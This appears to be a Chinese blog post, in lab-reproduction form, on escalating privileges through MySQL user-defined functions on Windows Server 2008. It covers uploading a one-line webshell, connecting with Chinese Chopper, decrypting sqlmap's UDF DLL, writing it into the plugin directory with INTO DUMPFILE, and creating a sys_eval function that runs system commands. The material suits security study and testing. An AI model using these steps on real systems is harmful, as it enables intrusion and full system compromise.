MySQL_UDF提权漏洞复现

举报
士别三日wyx 发表于 2021/12/31 20:29:50 2021/12/31
【摘要】 ​  操作系统: Windows server 2008Web环境: IIS 7.0 + MySQL 5.5.22原理UDF是mysql的一个接口,用来创建自定义函数(包括系统命令),但需要dll(程序扩展文件)作为udf的执行库使用UDF提权需要满足一些条件mysql服务以system权限运行mysql开启远程连接,和文件读写功能知道mysql的管理员账号和密码环境准备上传一句话木马并使用...

  操作系统: Windows server 2008

Web环境: IIS 7.0 + MySQL 5.5.22


原理

UDF是mysql的一个接口,用来创建自定义函数(包括系统命令),但需要dll(程序扩展文件)作为udf的执行库


使用UDF提权需要满足一些条件

  1. mysql服务以system权限运行
  2. mysql开启远程连接,和文件读写功能
  3. 知道mysql的管理员账号和密码


环境准备

上传一句话木马并使用中国菜刀连接

上传木马文件到网站根目录( 默认是C:\inetpub\wwwroot )下,内容为一句话木马


使用中国菜刀连接木马文件


使用中国菜刀上传udf.dll文件

Windows版的SQLmap工具中提供了UDF提权所需的dll文件,但需要解密才能使用


将dll文件复制到SQLmap的extra/cloak目录下


使用cmd进入cloak.py所在目录,使用cloak.py解密文件( 需要python环境 )

python /cloak.py -d -i lib_mysqludf_sys.dll_


使用中国菜刀的文件管理功能将dll文件上传到c:/windows/temp目录下,该目录默认具有上传和执行权限


将文件移动到mysql的/lib/plugin目录下

使用物理机远程连接目标主机的mysql


获取MySQL的安装路径

show variables like '%plugin%'


利用MySQL的文件读写功能,将dll文件从c:/windows/temp目录移动到MySQL的安装路径下,dll文件只有在此目录下才能发挥作用

select load_file("c:/windows/temp/lib_mysqludf_sys.dll") into dumpfile "C:/Program Files/MySQL/MySQL Server 5.5/lib/plugin/mysqludf.dll";


创建自定义函数

利用dll文件创建能执行系统命令的函数

create function sys_eval returns string soname "mysqludf.dll";


使用自定义函数执行系统命令

select sys_eval("whoami");


【版权声明】本文为华为云社区用户原创内容,未经允许不得转载,如需转载请自行联系原作者进行授权。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。